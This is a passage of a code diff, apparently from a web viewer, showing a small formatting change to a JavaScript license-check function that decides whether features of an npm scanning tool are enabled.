74
88
|
}
|
|
75
89
|
|
|
76
90
|
return { edition, features: allowed, ...payload };
|
|
@@ -80,11 +94,13 @@ export function isFeatureEnabled(feature, licenseKey = process.env.NPM_SCAN_LICE
|
|
|
80
94
|
try {
|
|
81
95
|
if (!licenseKey) {
|
|
82
96
|
const unlocked = feature === 'scan' || ALLOWED_UNLOCKED.includes(feature);
|
|
83
|
-
if (unlocked)
|
|
97
|
+
if (unlocked) {
|
|
98
|
+
return true;
|
|
99
|
+
}
|
|
84
100
|
}
|
|
85
101
|
validateLicense(licenseKey, feature);
|
|
86
102
|
return true;
|
|
87
103
|
} catch {
|
|
88
104
|
return false;
|
|
89
105
|
}
|
|
90
|
-
}
|
|
106
|
+
}
|